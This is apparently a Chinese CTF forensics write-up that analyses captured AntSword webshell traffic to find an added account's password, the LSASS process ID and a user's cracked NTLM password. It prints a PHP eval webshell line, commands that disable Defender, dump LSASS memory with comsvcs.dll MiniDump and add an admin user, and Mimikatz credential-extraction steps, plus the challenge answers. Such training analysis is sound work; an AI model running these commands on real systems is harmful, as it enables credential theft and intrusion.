第六章 流量特征分析-蚂蚁爱上树
应急响应小组成员老狼在 waf 上下载了一段流量,请你分析黑客攻击手法,并且解答下面问题
1. 管理员Admin账号的密码是什么?
2. LSASS.exe的程序进程ID是多少?
3. 用户WIN101的密码是什么?
步骤 #1
管理员Admin账号的密码是什么
1、分析
分析黑客的攻击手法来解题,首先黑客是上传了一个文件来进行攻击的,而大多数文件上传攻击通过Web应用实现(如恶意文件上传、WebShell注入),那么就应该先关注http里的POST请求包
2、解题
http.request.method == "POST" #查找POST请求包
里面上传的文件也就只有集中,点击分析它们的value值发现,其他文件的值都是1,而上传product2.php的包的value值居然是一串特别有嫌疑的数据 @eval(@base64_decode($_POST['b2e3e1923a4b3a']));
而且通过将包的大小排序可以看出,基本上大的包都访问了product2.php文件。
可以初步判断这是一个典型的 WebShell 恶意请求,攻击者通过伪造的HTTP POST请求向服务器注入PHP后门代码。同时也查看了http追踪流 发现了这是一个很明显的蚁剑流量
既然明确了product2.php是黑客注入的恶意文件,那么就可以查找product2.php的流量包,查看一下他的攻击过程来推账号密码
http.request.method == "POST" && http contains "product2.php"
这里从大的包开始查看(大的里面肯定有什么猫腻),然后也是通过查看分组字节流,通过调整开始位置来解码查看,来找可能是密码的命令的特征
cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net share&echo [S]&cd&echo [E]
cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&powershell -ep bypass Set-Mppreference -DisableRaltimeMonitoring $true&echo [S]&cd&echo [E] ··
cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]7
其中 cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]7
这个有点可疑因为他有 admin
password
的字眼,进行尝试输入flag{Password1}
,正确。
通过查问ai发现这个命令 net user admin Password1 /add
的作用是添加新用户,并设置密码
作用:在 Windows 系统上创建一个新用户。
net user
:管理用户账户的命令。admin
:要创建的用户名。Password1
:该用户的密码(弱密码,仅示例)。/add
:表示添加新用户。
步骤 #2
LSASS.exe的程序进程ID是多少
1.分析题目
LSASS.exe是 Windows 操作系统的一个核心系统进程,主要负责 安全认证、密码管理、权限控制 等功能。
由于 LSASS 存储了 用户的登录凭据,攻击者通常会尝试:
转储 LSASS 内存(如使用
rundll32.exe comsvcs.dll MiniDump
或Procdump
)获取密码哈希或明文密码。使用 Mimikatz 提取内存中的凭据,进行 横向渗透。
绕过双因素认证(2FA),因为 LSASS 存储的会话令牌可能仍然有效。
如何检测 LSASS 攻击?
- 检查异常进程
- 使用 Process Explorer 或 Task Manager 查看是否有
rundll32.exe
、procdump.exe
等工具访问 LSASS。
- 使用 Process Explorer 或 Task Manager 查看是否有
- 查找内存转储文件(.dmp)
- 搜索
C:\
或临时目录是否有lsass.dmp
、852.dmp
等文件。
- 搜索
- 分析安全日志
- 事件 ID 4688(进程创建)、10(进程访问)可能记录可疑行为。
2、解题
在步骤1中通过查看包value的分组字节流有一个命令 cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
包含了 rund1132.exe这个非常可疑
通过查ai了解了这个命令的用途
rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full
这是最危险的部分,涉及 进程内存转储(可能用于窃取敏感数据)。
详细解析
参数 | 说明 |
---|---|
rundll32.exe |
Windows 系统工具,用于调用 DLL 文件中的函数。 |
comsvcs.dll |
系统 DLL,提供 MiniDump 功能(用于生成内存转储文件)。 |
MiniDump |
内存转储函数,可捕获进程的完整内存数据(包括密码、密钥等)。 |
852 |
目标进程的 PID(进程ID),需要确认具体是哪个进程(如 lsass.exe 、数据库服务等)。 |
C:\Temp\OnlineShopBackup.zip |
转储文件的保存路径,伪装成“备份文件”(实际是 .dmp 数据)。 |
full |
指定 完整转储(包含进程的所有内存数据)。 |
那么输入flag为 flag{852},成功
步骤 #3
用户WIN101的密码是什么?
1、分析题目
可以注意到步骤2中的文件转存在了C:\Temp\OnlineShopBackup.zip
中,那么对这个文件入手分析,而这个文件在product2.php中,那么就要导出http流中的product2.php中包含该.zip文件的文件,然后分析该文件
2、解题
文件–>导出对象–>http–>查询product2.php
通过了解转存的.zip文件是.dmp数据伪装成的备份文件,那么要从这么多product2.php中找到.zip文件的所在,那么就要知道.zip文件或者是确切的说是.dmp的特点。
经过查询了解到它的最大特点就是 文件大小异常–.dmp
文件通常较大(几十MB 到几GB),取决于目标进程的内存占用。那么就直接筛选出文件大小最大的保存导出
然后在010editor中进行分析文件,了解到.dmp文件的文件头一般为4D 44 4D 50(ASCII:“MDMP”),而查看可知文件头前面多了东西,那么删掉保存,并将文件后缀改为.dmp
了解到对于lsass.dmp类的,可配合 Mimikatz提取凭证。但是在安装时犯了难,Windows上在github直接安装会被查杀,然后后面也是打算在虚拟机上进行,那么要在这篇博文里面有下载资源mimikatz.zip(前提要关掉设置Windows安全里的病毒实时防护,以及浏览器的中Microsoft Defender SmartScreen 的防护),然后就可以进行文件的操作了
将修过文件头的product2.dmp文件复制到x64文件夹里面
通过mimikatz从内存文件中获取登录用户的明文密码,打开mimikatz.exe文件
输入命令:
sekurlsa::minidump product2.dmp
sekurlsa::logonpasswords
但是后面再我输入logonpasswords的命令时出现了错误,Mimikatz 无法获取内存句柄(错误代码 0x00000002,通常表示 文件访问被拒绝 或 内存转储文件无效)。
然后我通过以管理员身份运行解决了这个问题,可以看到界面中出现了题目中所说的用户win101
其中的NTML值,需注意这是用户的哈希值,是Windows系统中用于身份验证的密码哈希 282d975e35846022476068ab5a3d72df
,然后在在线网站MD5解密得到,admin#123